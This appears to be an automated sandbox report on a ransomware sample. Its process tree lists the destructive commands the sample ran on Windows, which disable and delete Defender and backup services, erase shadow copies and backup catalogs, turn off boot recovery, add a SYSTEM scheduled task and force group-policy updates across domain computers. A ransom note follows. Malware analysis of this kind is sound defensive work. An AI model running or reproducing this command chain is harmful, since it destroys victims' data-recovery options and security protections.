C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVarmor644⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MVarmor64 start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MVarmor643⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VSNAPVSS3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VSNAPVSS4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VSNAPVSS start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VSNAPVSS3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VSNAPVSS3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VSNAPVSS4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VSNAPVSS start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VSNAPVSS3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VSNAPVSS3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VSNAPVSS4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VSNAPVSS start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VSNAPVSS3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcrSch2Svc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config AcrSch2Svc start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete AcrSch2Svc3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcrSch2Svc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config AcrSch2Svc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete AcrSch2Svc3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcrSch2Svc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config AcrSch2Svc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete AcrSch2Svc3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net" share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ4⤵
-
-
-
C:\Windows\SYSTEM32\net.exe"net" view3⤵
- Discovers systems in the same network
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_BMAbW2.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn GPOUpdate_WX7rKA /tr "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_update_Tk2uDH.ps1"" /sc hourly /mo 1 /ru SYSTEM /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke- GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" stop WinDefend3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config WinDefend start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete WinDefend3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" stop WdNisSvc3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config WdNisSvc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete WdNisSvc3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" stop Sense3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config Sense start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete Sense3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" stop SecurityHealthService3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SecurityHealthService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SecurityHealthService3⤵
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" shadowcopy delete3⤵
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit.exe" /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\reagentc.exe"reagentc.exe" /disable3⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
C:\Windows\SYSTEM32\wbadmin.exe"wbadmin.exe" delete catalog -quiet3⤵
- Deletes backup catalog
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" stop SystemResetPlatform3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SystemResetPlatform start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SystemResetPlatform3⤵
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\svchost.exeC:\Users\Admin\AppData\Local\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_YgAeYPOb.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_hIYuArgE.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\READFORDECRYPTION.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0x80,0x110,0x7ffdd57cc728,0x7ffdd57cc734,0x7ffdd57cc7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1644,i,1190431259088630936,7910943792472315228,262144 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1924 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,12766088141121913505,6876098763672215322,524288 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2236 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,6978776116856565961,15886348516570246441,524288 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2360 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3224,i,10602982596828621143,15735823102732080580,2097152 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3436 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3284,i,2014900661733328641,7184918693528568943,2097152 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3476 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4436,i,472469232208183524,10726004036878453761,2097152 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4460 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4756,i,12067067571089543397,11737555713657125329,2097152 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4716 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5500,i,82228102944462377,14594522898595999789,524288 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5504 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5784,i,2367955832359879750,4200740846615936280,2097152 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5792 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5904,i,17798906771996996084,11061723030125276826,2097152 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5888 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3428,i,4133731896812464603,12942763666668581786,2097152 --field-trial-handle=1932,i,1966615033653623669,5698397560756515237,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3412 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files\Mozilla Firefox\private_browsing.exe"C:\Program Files\Mozilla Firefox\private_browsing.exe"1⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window2⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window3⤵
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1960 -prefsLen 27097 -prefMapHandle 1964 -prefMapSize 270279 -ipcHandle 2036 -initialChannelId {ec614baa-9967-44cc-918e-cb56320bec2b} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2420 -prefsLen 27133 -prefMapHandle 2424 -prefMapSize 270279 -ipcHandle 2432 -initialChannelId {f1249716-67f8-4a2b-9e51-ab09150c7f5a} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3844 -prefsLen 27247 -prefMapHandle 3848 -prefMapSize 270279 -jsInitHandle 3852 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3860 -initialChannelId {88216c97-0a5b-4bd9-8368-f43e08a47bfe} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4004 -prefsLen 27247 -prefMapHandle 4008 -prefMapSize 270279 -ipcHandle 4024 -initialChannelId {37ec0062-f39b-4d7f-a8ad-e6ff041be1bd} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2936 -prefsLen 34802 -prefMapHandle 2736 -prefMapSize 270279 -jsInitHandle 2740 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2556 -initialChannelId {339e498e-8267-4309-8b73-505085582c43} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4684 -prefsLen 34883 -prefMapHandle 4676 -prefMapSize 270279 -ipcHandle 4668 -initialChannelId {b86db190-38ff-4a95-a148-4be05e79d6e3} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5584 -prefsLen 32817 -prefMapHandle 5576 -prefMapSize 270279 -jsInitHandle 5552 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3204 -initialChannelId {adf3705a-95d1-42b4-9c42-d76fbcb49e75} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5764 -prefsLen 32817 -prefMapHandle 4988 -prefMapSize 270279 -jsInitHandle 5804 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5816 -initialChannelId {70fed615-197a-4b98-9b6d-41c3b1bf488b} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5964 -prefsLen 32817 -prefMapHandle 5968 -prefMapSize 270279 -jsInitHandle 5972 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5980 -initialChannelId {096dd9bf-127b-4d47-9edb-a9b854e46676} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4824 -prefsLen 32936 -prefMapHandle 4828 -prefMapSize 270279 -jsInitHandle 4832 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5752 -initialChannelId {680323d1-a0f7-414e-a7b1-06696bec82e7} -parentPid 1516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab4⤵
- Checks processor information in registry
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\READFORDECRYPTION.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\READFORDECRYPTION.txt1⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
Network Persistent State
SCT Auditing Pending Reports
Preferences
Secure Preferences
the-real-index
the-real-index~RFe59260c.TMP
Local State
Local State
Local State
data_1
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
activity-stream.discovery_stream.json.tmp
__PSScriptPolicyTest_yjhywmzi.4ll.ps1
gpo_BMAbW2.ps1
selfdestruct_DBqEAp9o.bat
selfdestruct_YHjeILZr.bat
svchost.exe
data.safe.tmp
data.safe.tmp
events
32d0aa88-c4ba-44ef-ad3a-f4b4589ce626
42d400eb-aa62-4804-bd00-886c794d95f8
43bb17c0-32a1-4a76-8c39-35294729b859
581d72a4-6fb3-40fc-be3b-89b7271fd765
797b6eda-7f34-4b89-b07e-994ac4c26573
e832f79a-fa4d-4bb9-a47c-3bfdb5209137
prefs-1.js
prefs-1.js
sessionCheckpoints.json.tmp
3870112724rsegmnoittet-es.sqlite
READFORDECRYPTION.txt
ReAgent.xml
memory/2904-329-0x00000243E75F0000-0x00000243E7611000-memory.dmp
memory/2904-331-0x00000243E7640000-0x00000243E76B2000-memory.dmp
memory/2904-330-0x00000243E7620000-0x00000243E7637000-memory.dmp
memory/4812-0-0x0000000000780000-0x000000000079C000-memory.dmp
memory/4828-36-0x000001EE60E30000-0x000001EE60E3A000-memory.dmp
memory/4828-27-0x000001EE5E9C0000-0x000001EE5E9E2000-memory.dmp
memory/4828-38-0x000001EE60E40000-0x000001EE60E4E000-memory.dmp
memory/4828-35-0x000001EE60EE0000-0x000001EE60F93000-memory.dmp
memory/4828-34-0x000001EE60E10000-0x000001EE60E2C000-memory.dmp
memory/4828-39-0x000001EE60EA0000-0x000001EE60EBA000-memory.dmp
memory/4828-37-0x000001EE60E60000-0x000001EE60E7C000-memory.dmp
memory/6264-892-0x0000020A45910000-0x0000020A45956000-memory.dmp
memory/7032-867-0x000002FC4D040000-0x000002FC4D05A000-memory.dmp
memory/7032-869-0x000002FC4CAF0000-0x000002FC4CAF6000-memory.dmp
memory/7032-870-0x000002FC4CB00000-0x000002FC4CB0A000-memory.dmp
memory/7032-868-0x000002FC4CAC0000-0x000002FC4CAC8000-memory.dmp
memory/7032-866-0x000002FC4CAB0000-0x000002FC4CABA000-memory.dmp
memory/7032-865-0x000002FC4CD30000-0x000002FC4CDE3000-memory.dmp